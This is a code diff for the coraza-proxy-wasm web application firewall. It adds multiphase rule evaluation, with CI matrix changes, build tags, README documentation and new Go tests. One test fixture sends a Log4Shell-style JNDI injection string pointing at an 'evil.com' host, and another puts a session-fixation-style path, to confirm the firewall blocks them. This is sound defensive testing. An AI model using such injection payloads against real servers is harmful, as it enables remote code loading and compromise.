diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index cb16ec6..250b43f 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -14,7 +14,7 @@ on: env: GO_VERSION: 1.19 TINYGO_VERSION: 0.27.0 - # Test against latest two releases and latest dev + # Run e2e tests against latest two releases and latest dev ENVOY_IMAGES: > envoyproxy/envoy:v1.26-latest envoyproxy/envoy:v1.25-latest @@ -22,10 +22,16 @@ env: jobs: build: + name: "Build (multiphase evaluation: ${{ matrix.multiphase_eval }})" runs-on: ubuntu-22.04 permissions: contents: read packages: write + strategy: + matrix: + multiphase_eval: ["true","false"] + env: + MULTIPHASE_EVAL: ${{ matrix.multiphase_eval }} steps: - name: Check out code uses: actions/checkout@v3 @@ -82,9 +88,11 @@ jobs: path: build/ftw-envoy.log - name: Set up Docker Buildx + if: ${{ matrix.multiphase_eval=='true' }} uses: docker/setup-buildx-action@v2 - name: Docker meta + if: ${{ matrix.multiphase_eval=='true' }} id: meta uses: docker/metadata-action@v4 with: @@ -97,6 +105,7 @@ jobs: type=semver,pattern={{major}} - name: Docker meta busybox + if: ${{ matrix.multiphase_eval=='true' }} id: meta-busybox uses: docker/metadata-action@v4 with: @@ -111,6 +120,7 @@ jobs: suffix=-busybox - name: Login to GHCR + if: ${{ matrix.multiphase_eval=='true' }} uses: docker/login-action@v2 with: registry: ghcr.io @@ -118,6 +128,7 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build and push busybox based image + if: ${{ matrix.multiphase_eval=='true' }} uses: docker/build-push-action@v3 with: context: . @@ -130,6 +141,7 @@ jobs: BASE_IMAGE=busybox:1.36-uclibc - name: Build and push + if: ${{ matrix.multiphase_eval=='true' }} uses: docker/build-push-action@v3 with: context: . @@ -141,7 +153,7 @@ jobs: - name: Create draft release # Triggered only on tag creation - if: github.event_name == 'push' && contains(github.ref, 'refs/tags/') + if: matrix.multiphase_eval=='true' && github.event_name == 'push' && contains(github.ref, 'refs/tags/') run: | ls build mv build/main.wasm build/coraza-proxy-wasm.wasm diff --git a/.github/workflows/nightly-coraza-check.yaml b/.github/workflows/nightly-coraza-check.yaml index bd0d560..a076905 100644 --- a/.github/workflows/nightly-coraza-check.yaml +++ b/.github/workflows/nightly-coraza-check.yaml @@ -13,7 +13,13 @@ env: jobs: test: + name: "Test (multiphase evaluation: ${{ matrix.multiphase_eval }})" runs-on: ubuntu-22.04 + strategy: + matrix: + multiphase_eval: ["true","false"] + env: + MULTIPHASE_EVAL: ${{ matrix.multiphase_eval }} steps: - name: Check out code uses: actions/checkout@v3 diff --git a/README.md b/README.md index aec1ba8..b1d5d95 100644 --- a/README.md +++ b/README.md @@ -39,6 +39,12 @@ go run mage.go build You will find the WASM plugin under `./build/main.wasm`. +### Multiphase + +By default, coraza-proxy-wasm runs with multiphase evaluation enabled (See [coraza.rule.multiphase_evaluation](.magefiles/magefile.go) build tag). It enables the evaluation of rule variables in the phases that they are ready for, potentially anticipating the phase the rule is defined for. This feature suits coraza-proxy-wasm, and specifically Envoy request lifecycle, aiming to inspect data that has been received so far as soon as possible. It leads to enforce actions the earliest possible, avoiding WAF bypasses. This functionality, in conjunction with the [early blocking CRS feature](#recommendations-using-crs-with-proxy-wasm), permits to effectively raise the anomaly score and eventually drop the request at the earliest possible phase. + +If you want to disable it, set the `MULTIPHASE_EVAL` environment variable to `false` before building the filter. + ### Running the filter in an Envoy process In order to run the coraza-proxy-wasm we need to spin up an envoy configuration including this as the filter config diff --git a/ftw/docker-compose.yml b/ftw/docker-compose.yml index ba22e08..49049fb 100644 --- a/ftw/docker-compose.yml +++ b/ftw/docker-compose.yml @@ -6,7 +6,8 @@ services: command: - /bin/sh - -c - - chown -R 101:101 /home/envoy/logs + # Early creates the log file so wasm-logs does not fail even if envoy is not yet healthy + - touch /home/envoy/logs/envoy.log && chown -R 101:101 /home/envoy/logs volumes: - logs:/home/envoy/logs:rw envoy: diff --git a/go.mod b/go.mod index 44719b0..3642264 100644 --- a/go.mod +++ b/go.mod @@ -3,7 +3,7 @@ module github.com/corazawaf/coraza-proxy-wasm go 1.19 require ( - github.com/corazawaf/coraza-wasilibs v0.0.0-20230408002644-e2e3af21f503 + github.com/corazawaf/coraza-wasilibs v0.0.0-20230510100417-e8a89d2b2f05 github.com/corazawaf/coraza/v3 v3.0.0-rc.3 github.com/stretchr/testify v1.8.0 github.com/tetratelabs/proxy-wasm-go-sdk v0.22.0 @@ -18,12 +18,12 @@ require ( github.com/magefile/mage v1.15.0 // indirect github.com/petar-dambovaliev/aho-corasick v0.0.0-20211021192214-5ab2d9280aa9 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/tetratelabs/wazero v1.0.1 // indirect + github.com/tetratelabs/wazero v1.1.0 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect - github.com/wasilibs/go-aho-corasick v0.3.0 // indirect - github.com/wasilibs/go-libinjection v0.2.1 // indirect - github.com/wasilibs/go-re2 v1.0.0 // indirect + github.com/wasilibs/go-aho-corasick v0.4.0 // indirect + github.com/wasilibs/go-libinjection v0.3.0 // indirect + github.com/wasilibs/go-re2 v1.1.0 // indirect golang.org/x/net v0.10.0 // indirect gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/go.sum b/go.sum index 9a9ea93..8b37cf0 100644 --- a/go.sum +++ b/go.sum @@ -1,5 +1,5 @@ -github.com/corazawaf/coraza-wasilibs v0.0.0-20230408002644-e2e3af21f503 h1:hGXspDwUBHQUne1NT2D6PmkR9wFCXsibjaJpz7xhf+g= -github.com/corazawaf/coraza-wasilibs v0.0.0-20230408002644-e2e3af21f503/go.mod h1:bTc+NV7T2wQevFQHDDWhD/+IAA5bvKbbK4CxzfvJx/o= +github.com/corazawaf/coraza-wasilibs v0.0.0-20230510100417-e8a89d2b2f05 h1:X7hj8/9mLUt98pOB3wQJtBP7qdvhVWcojE2RdPHtf4Q= +github.com/corazawaf/coraza-wasilibs v0.0.0-20230510100417-e8a89d2b2f05/go.mod h1:rhPJNQQO6tShOjrB3RQzFQBCWYrayxYSzDkqy92mhxo= github.com/corazawaf/coraza/v3 v3.0.0-rc.3 h1:nuJ9f63ZVwBz/u8PJJDqMTPr/RNNV2GQDqvPm9UKGsY= github.com/corazawaf/coraza/v3 v3.0.0-rc.3/go.mod h1:MjV/iyO+B+JcVEWUJi4O2r1sfHeFzlF28MnvAqWfea0= github.com/corazawaf/libinjection-go v0.1.2 h1:oeiV9pc5rvJ+2oqOqXEAMJousPpGiup6f7Y3nZj5GoM= @@ -27,8 +27,8 @@ github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PK github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/tetratelabs/proxy-wasm-go-sdk v0.22.0 h1:kS7BvMKN+FiptV4pfwiNX8e3q14evxAWkhYbxt8EI1M= github.com/tetratelabs/proxy-wasm-go-sdk v0.22.0/go.mod h1:qkW5MBz2jch2u8bS59wws65WC+Gtx3x0aPUX5JL7CXI= -github.com/tetratelabs/wazero v1.0.1 h1:xyWBoGyMjYekG3mEQ/W7xm9E05S89kJ/at696d/9yuc= -github.com/tetratelabs/wazero v1.0.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ= +github.com/tetratelabs/wazero v1.1.0 h1:EByoAhC+QcYpwSZJSs/aV0uokxPwBgKxfiokSUwAknQ= +github.com/tetratelabs/wazero v1.1.0/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ= github.com/tidwall/gjson v1.14.4 h1:uo0p8EbA09J7RQaflQ1aBRffTR7xedD2bcIVSYxLnkM= github.com/tidwall/gjson v1.14.4/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= @@ -36,12 +36,12 @@ github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JT github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= -github.com/wasilibs/go-aho-corasick v0.3.0 h1:ScfPQhAwop/ELIkwY0dfMTFb/bwOdYI/MB3mkX2WOZI= -github.com/wasilibs/go-aho-corasick v0.3.0/go.mod h1:LKW6EW9NWuWYE8PII+sFpRbbY3UcrMUgfUTkGaoWyMY= -github.com/wasilibs/go-libinjection v0.2.1 h1:1aSwyE4oNpPGpFw3i3hoM15sF3qn1s4P0jC2jgFM2Qk= -github.com/wasilibs/go-libinjection v0.2.1/go.mod h1:ZUoVe+HLQYq+QPBNTSgg3fxGvZsvXiDbi0UomBlsGzo= -github.com/wasilibs/go-re2 v1.0.0 h1:pvrqtMzZgTMHVPfXJrk4YZwiqIXOKdfo5aed6CzUAW4= -github.com/wasilibs/go-re2 v1.0.0/go.mod h1:8g69JapfgjSCx49dKOQij1dqA3sOvoH5NteaUy1X0SA= +github.com/wasilibs/go-aho-corasick v0.4.0 h1:dPa/vF341zewXGiKh6Qih0H5MC1yVlDcAEp6fc14Nms= +github.com/wasilibs/go-aho-corasick v0.4.0/go.mod h1:d5wspqdBMcfs1ZAFfkijwXKohocUb5vnP5bmxWLbJ74= +github.com/wasilibs/go-libinjection v0.3.0 h1:X2zERL6bjRRPTnOWPI5CT6t1LMJNw7f+FZuTQTxJiTM= +github.com/wasilibs/go-libinjection v0.3.0/go.mod h1:pjrvsp+uswZLkflpghGhrgKpGEZlemqkLwKOJyIsvj4= +github.com/wasilibs/go-re2 v1.1.0 h1:RF/qHrnaFRIYaxnDFIZ4I8cZJTU+wE9DkOHtEHOUA18= +github.com/wasilibs/go-re2 v1.1.0/go.mod h1:9j8kG6X6t8KQoB9odr0+WEieocbZwbKUgTo8GjNUdV4= github.com/wasilibs/nottinygc v0.2.0 h1:cXz2Ac9bVMLkpuOlUlPQMWowjw0K2cOErXZOFdAj7yE= github.com/wasilibs/nottinygc v0.2.0/go.mod h1:oDcIotskuYNMpqMF23l7Z8uzD4TC0WXHK8jetlB3HIo= golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= diff --git a/lifecycle_multiphase_test.go b/lifecycle_multiphase_test.go new file mode 100644 index 0000000..81a6274 --- /dev/null +++ b/lifecycle_multiphase_test.go @@ -0,0 +1,282 @@ +// Copyright The OWASP Coraza contributors +// SPDX-License-Identifier: Apache-2.0 + +//go:build coraza.rule.multiphase_evaluation + +// Multiphase specific tests +// Enabling the multiphase evaluation feature, it is expected to check rule variables at the earliest possible phase. These tests are meant +// to check circumstances in which multiphase evaluation should anticipate some variables evaluation, leading to an earlier action enforcment and +// therefore dropping the request at the earliest possible phase. +// It notably permits to avoid coraza-proxy-wasm bypasses by analyzing received data as soon as possible, before streaming it upstream. + +package main + +import ( + "bytes" + "fmt" + "strings" + "testing" + + "github.com/stretchr/testify/require" + "github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm/proxytest" + "github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm/types" +) + +func TestLifecycleMultiPhase(t *testing.T) { + reqProtocol := "HTTP/1.1" + respHdrs := [][2]string{ + {":status", "200"}, + {"Server", "gotest"}, + {"Content-Length", "12"}, + {"Content-Type", "text/plain"}, + } + respBody := []byte(`Hello, yogi!`) + + tests := []struct { + name string + inlineRules string + reqHdrs [][2]string + reqBody []byte + requestHdrsAction types.Action + requestBodyAction types.Action + responseHdrsAction types.Action + responded403 bool + responded413 bool + respondedNullBody bool + expectResponseRejectSinceFirstChunk bool + }{ + { + name: "Deny anticipated at request headers phase from request body phase", + inlineRules: ` + SecRuleEngine On\nSecRule REQUEST_URI \"@rx panda\" \"id:101,phase:2,t:lowercase,deny\" + `, + reqHdrs: [][2]string{ + {":path", "/panda"}, + {":method", "GET"}, + {":authority", "localhost"}, + }, + reqBody: []byte(``), + requestHdrsAction: types.ActionPause, + responded403: true, + }, + { + name: "Deny anticipated at request headers phase from response headers phase via splitting ARGS variable", + inlineRules: ` + SecRuleEngine On\nSecRule ARGS \"@rx panda\" \"id:101,phase:3,t:lowercase,deny\" + `, + reqHdrs: [][2]string{ + {":path", "/end?arg=panda"}, + {":method", "GET"}, + {":authority", "localhost"}, + }, + reqBody: []byte(``), + requestHdrsAction: types.ActionPause, + responded403: true, + }, + { + name: "Deny anticipated at request headers phase from response body phase via splitting ARGS_NAMES variable", + inlineRules: ` + SecRuleEngine On\nSecRule ARGS_NAMES \"@rx panda\" \"id:101,phase:4,t:lowercase,deny\" + `, + reqHdrs: [][2]string{ + {":path", "/end?panda=aa"}, + {":method", "GET"}, + {":authority", "localhost"}, + }, + reqBody: []byte(``), + requestHdrsAction: types.ActionPause, + responded403: true, + }, + { + name: "ARGS variable still checked at request body phase", + inlineRules: ` + SecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS \"@rx panda\" \"id:101,phase:2,t:lowercase,deny\" + `, + reqHdrs: [][2]string{ + {":path", "/end"}, + {":method", "POST"}, + {":authority", "localhost"}, + {"Content-Type", "application/x-www-form-urlencoded"}, + {"Content-Length", "25"}, + }, + reqBody: []byte(`animal=bear&animal2=apanda`), + requestHdrsAction: types.ActionContinue, + requestBodyAction: types.ActionPause, + responded403: true, + }, + { + name: "Deny anticipated at request body phase from response headers phase", + inlineRules: ` + SecRuleEngine On\nSecRequestBodyAccess On\nSecRule REQUEST_BODY \"@rx panda\" \"id:101,phase:3,t:lowercase,deny\" + `, + reqHdrs: [][2]string{ + {":path", "/end"}, + {":method", "POST"}, + {":authority", "localhost"}, + {"Content-Type", "application/x-www-form-urlencoded"}, + {"Content-Length", "5"}, + }, + reqBody: []byte(`panda`), + requestHdrsAction: types.ActionContinue, + requestBodyAction: types.ActionPause, + responded403: true, + }, + { + name: "Deny anticipated at response headers phase from response body phase", + inlineRules: ` + SecRuleEngine On\nSecRule RESPONSE_HEADERS:server \"@rx gotest\" \"id:101,phase:4,t:lowercase,deny\" + `, + reqHdrs: [][2]string{ + {":path", "/"}, + {":method", "GET"}, + {":authority", "localhost"}, + }, + requestHdrsAction: types.ActionContinue, + requestBodyAction: types.ActionContinue, + responseHdrsAction: types.ActionPause, + responded403: true, + }, + { + name: "944150 - Deny anticipated at request headers phase from response headers phase", + inlineRules: ` + Include @demo-conf\nInclude @crs-setup-demo-conf\nInclude @owasp_crs/*.conf + `, + reqHdrs: [][2]string{ + {":path", "/"}, + {":method", "GET"}, + {":authority", "localhost"}, + {"User-Agent", "ua${jndi:ldap://evil.com/webshell}"}, + }, + reqBody: []byte(``), + requestHdrsAction: types.ActionPause, + responded403: true, + }, + { + name: "943120 - Deny anticipated at request headers phase from response headers phase", + inlineRules: ` + Include @demo-conf\nInclude @crs-setup-demo-conf\nInclude @owasp_crs/*.conf + `, + reqHdrs: [][2]string{ + {":path", "/login.php?jsessionid=74B0CB414BD77D17B5680A6386EF1666"}, + {":method", "GET"}, + {":authority", "localhost"}, + {"User-Agent", "gotest"}, + }, + reqBody: []byte(``), + requestHdrsAction: types.ActionPause, + responded403: true, + }, + } + + vmTest(t, func(t *testing.T, vm types.VMContext) { + for _, tc := range tests { + tt := tc + + t.Run(tt.name, func(t *testing.T) { + conf := `{"directives_map": {"default": []}, "default_directives": "default"}` + if inlineRules := strings.TrimSpace(tt.inlineRules); inlineRules != "" { + conf = fmt.Sprintf(`{"directives_map": {"default": ["%s"]}, "default_directives": "default"}`, inlineRules) + } + opt := proxytest. + NewEmulatorOption(). + WithVMContext(vm). + WithPluginConfiguration([]byte(conf)) + + host, reset := proxytest.NewHostEmulator(opt) + defer reset() + + require.Equal(t, types.OnPluginStartStatusOK, host.StartPlugin()) + + id := host.InitializeHttpContext() + + require.NoError(t, host.SetProperty([]string{"request", "protocol"}, []byte(reqProtocol))) + + requestBodyAction := types.ActionPause + responseHdrsAction := types.ActionPause + + requestHdrsAction := host.CallOnRequestHeaders(id, tt.reqHdrs, false) + require.Equal(t, tt.requestHdrsAction, requestHdrsAction) + + checkTXMetric(t, host, 1) + + // Stream bodies in chunks of 5 + + if requestHdrsAction == types.ActionContinue { + if len(tt.reqBody) == 0 { + requestBodyAction = host.CallOnRequestBody(id, []byte(``), true) + } else { + for i := 0; i < len(tt.reqBody); i += 5 { + eos := i+5 >= len(tt.reqBody) + var body []byte + if eos { + body = tt.reqBody[i:] + } else { + body = tt.reqBody[i : i+5] + } + requestBodyAction = host.CallOnRequestBody(id, body, eos) + requestBodyAccess := strings.Contains(tt.inlineRules, "SecRequestBodyAccess On") + switch { + case eos: + requireEqualAction(t, tt.requestBodyAction, requestBodyAction, "unexpected body action, want %q, have %q on end of stream") + case requestBodyAccess: + requireEqualAction(t, types.ActionPause, requestBodyAction, "unexpected request body action, want %q, have %q") + default: + requireEqualAction(t, types.ActionContinue, requestBodyAction, "unexpected request body action, want %q, have %q") + } + } + } + } + + if requestBodyAction == types.ActionContinue { + responseHdrsAction = host.CallOnResponseHeaders(id, respHdrs, false) + require.Equal(t, tt.responseHdrsAction, responseHdrsAction) + } + + if responseHdrsAction == types.ActionContinue { + responseBodyAccess := strings.Contains(tt.inlineRules, "SecResponseBodyAccess On") + for i := 0; i < len(respBody); i += 5 { + eos := i+5 >= len(respBody) + var body []byte + if eos { + body = respBody[i:] + } else { + body = respBody[i : i+5] + } + responseBodyAction := host.CallOnResponseBody(id, body, eos) + switch { + // expectResponseRejectLimitActionSinceFirstChunk: writing the first chunk (len(respBody) bytes), it is expected to reach + // the ResponseBodyLimit with the Action set to Reject. When these conditions happen, ActionContinue will be returned, + // with the interruption enforced replacing the body with null bytes (checked with tt.respondedNullBody) + case eos, tt.expectResponseRejectSinceFirstChunk: + requireEqualAction(t, types.ActionContinue, responseBodyAction, "unexpected response body action, want %q, have %q on end of stream") + case responseBodyAccess: + requireEqualAction(t, types.ActionPause, responseBodyAction, "unexpected response body action, want %q, have %q") + default: + requireEqualAction(t, types.ActionContinue, responseBodyAction, "unexpected response body action, want %q, have %q") + } + } + } + + // Call OnHttpStreamDone. + host.CompleteHttpContext(id) + + pluginResp := host.GetSentLocalResponse(id) + switch { + case tt.responded403: + require.NotNil(t, pluginResp) + require.EqualValues(t, 403, pluginResp.StatusCode) + case tt.responded413: + require.NotNil(t, pluginResp) + require.EqualValues(t, 413, pluginResp.StatusCode) + default: + require.Nil(t, pluginResp) + } + if tt.respondedNullBody { + pluginBodyResp := host.GetCurrentResponseBody(id) + require.NotNil(t, pluginBodyResp) + require.EqualValues(t, bytes.Repeat([]byte("\x00"), len(pluginBodyResp)), pluginBodyResp) + } + }) + } + }) +} diff --git a/magefiles/magefile.go b/magefiles/magefile.go index 2b8c37c..d8bc0f0 100644 --- a/magefiles/magefile.go +++ b/magefiles/magefile.go @@ -134,7 +134,11 @@ func Lint() error { // Test runs all unit tests. func Test() error { - return sh.RunV("go", "test", "./...") + // by default multiphase is enabled + if os.Getenv("MULTIPHASE_EVAL") == "false" { + return sh.RunV("go", "test", "./...") + } + return sh.RunV("go", "test", "-tags=coraza.rule.multiphase_evaluation", "./...") } // Coverage runs tests with coverage and race detector enabled. @@ -142,11 +146,25 @@ func Coverage() error { if err := os.MkdirAll("build", 0755); err != nil { return err } - if err := sh.RunV("go", "test", "-race", "-coverprofile=build/coverage.txt", "-covermode=atomic", "-coverpkg=./...", "./..."); err != nil { - return err + + if _, err := os.Stat("build/mainraw.wasm"); err != nil { + return errors.New("build/mainraw.wasm not found, please run `go run mage.go build`") } - return sh.RunV("go", "tool", "cover", "-html=build/coverage.txt", "-o", "build/coverage.html") + if os.Getenv("MULTIPHASE_EVAL") == "false" { + // Test coraza-wasm filter without multiphase evaluation + if err := sh.RunV("go", "test", "-race", "-coverprofile=build/coverage.txt", "-covermode=atomic", "-coverpkg=./...", "./..."); err != nil { + return err + } + return sh.RunV("go", "tool", "cover", "-html=build/coverage.txt", "-o", "build/coverage.html") + + } else { + // Test coraza-wasm filter with multiphase evaluation + if err := sh.RunV("go", "test", "-race", "-coverprofile=build/coverage_multi.txt", "-covermode=atomic", "-coverpkg=./...", "-tags=coraza.rule.multiphase_evaluation", "./..."); err != nil { + return err + } + return sh.RunV("go", "tool", "cover", "-html=build/coverage_multi.txt", "-o", "build/coverage.html") + } } // Doc runs godoc, access at http://localhost:6060 @@ -166,6 +184,10 @@ func Build() error { } buildTags := []string{"custommalloc", "no_fs_access"} + // By default multiphase evaluation is enabled + if os.Getenv("MULTIPHASE_EVAL") != "false" { + buildTags = append(buildTags, "coraza.rule.multiphase_evaluation") + } if os.Getenv("TIMING") == "true" { buildTags = append(buildTags, "timing", "proxywasm_timing") } diff --git a/main_test.go b/main_test.go index 0e26c0b..3afee84 100644 --- a/main_test.go +++ b/main_test.go @@ -814,16 +814,17 @@ func TestBodyRulesWithoutBody(t *testing.T) { {"Content-Type", "text/plain"}, } tests := []struct { - name string - rules string - responseHdrsAction types.Action - responded403 bool + name string + rules string + responseHdrsAction types.Action + responded403 bool + disableWithMultiphase bool }{ { name: "url accepted in request body phase", rules: ` -SecRuleEngine On\nSecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:2,t:lowercase,deny\" -`, + SecRuleEngine On\nSecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:2,t:lowercase,deny\" + `, responseHdrsAction: types.ActionContinue, responded403: false, }, @@ -832,24 +833,26 @@ SecRuleEngine On\nSecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:2,t:lower rules: ` SecRuleEngine On\nSecRule REQUEST_URI \"@streq /hello\" \"id:101,phase:2,t:lowercase,deny\" `, - responseHdrsAction: types.ActionPause, - responded403: true, + responseHdrsAction: types.ActionPause, + responded403: true, + disableWithMultiphase: true, }, { name: "url accepted in response body phase", rules: ` -SecRuleEngine On\nSecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:4,t:lowercase,deny\" -`, + SecRuleEngine On\nSecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:4,t:lowercase,deny\" + `, responseHdrsAction: types.ActionContinue, responded403: false, }, { name: "url denied in response body phase", rules: ` -SecRuleEngine On\nSecRule REQUEST_URI \"@streq /hello\" \"id:101,phase:4,t:lowercase,deny\" -`, - responseHdrsAction: types.ActionContinue, - responded403: false, + SecRuleEngine On\nSecRule REQUEST_URI \"@streq /hello\" \"id:101,phase:4,t:lowercase,deny\" + `, + responseHdrsAction: types.ActionContinue, + responded403: false, + disableWithMultiphase: true, }, } @@ -857,6 +860,11 @@ SecRuleEngine On\nSecRule REQUEST_URI \"@streq /hello\" \"id:101,phase:4,t:lower for _, tc := range tests { tt := tc + if tt.disableWithMultiphase && multiphaseEvaluation { + // Skipping test, not compatible with multiphaseEvaluation + return + } + t.Run(tt.name, func(t *testing.T) { conf := fmt.Sprintf(` {"directives_map": {"default": ["%s"]}, "default_directives": "default"} @@ -1066,7 +1074,7 @@ func vmTest(t *testing.T, f func(*testing.T, types.VMContext)) { buildPath := filepath.Join("build", "mainraw.wasm") wasm, err := os.ReadFile(buildPath) if err != nil { - t.Skip("wasm not found") + t.Fatal("wasm not found") } v, err := proxytest.NewWasmVMContext(wasm) require.NoError(t, err) diff --git a/rule_option.go b/rule_option.go new file mode 100644 index 0000000..5e53275 --- /dev/null +++ b/rule_option.go @@ -0,0 +1,8 @@ +// Copyright The OWASP Coraza contributors +// SPDX-License-Identifier: Apache-2.0 + +//go:build !coraza.rule.multiphase_evaluation + +package main + +const multiphaseEvaluation = false diff --git a/rule_option_multiphase.go b/rule_option_multiphase.go new file mode 100644 index 0000000..b1cf4b2 --- /dev/null +++ b/rule_option_multiphase.go @@ -0,0 +1,8 @@ +// Copyright The OWASP Coraza contributors +// SPDX-License-Identifier: Apache-2.0 + +//go:build coraza.rule.multiphase_evaluation + +package main + +const multiphaseEvaluation = true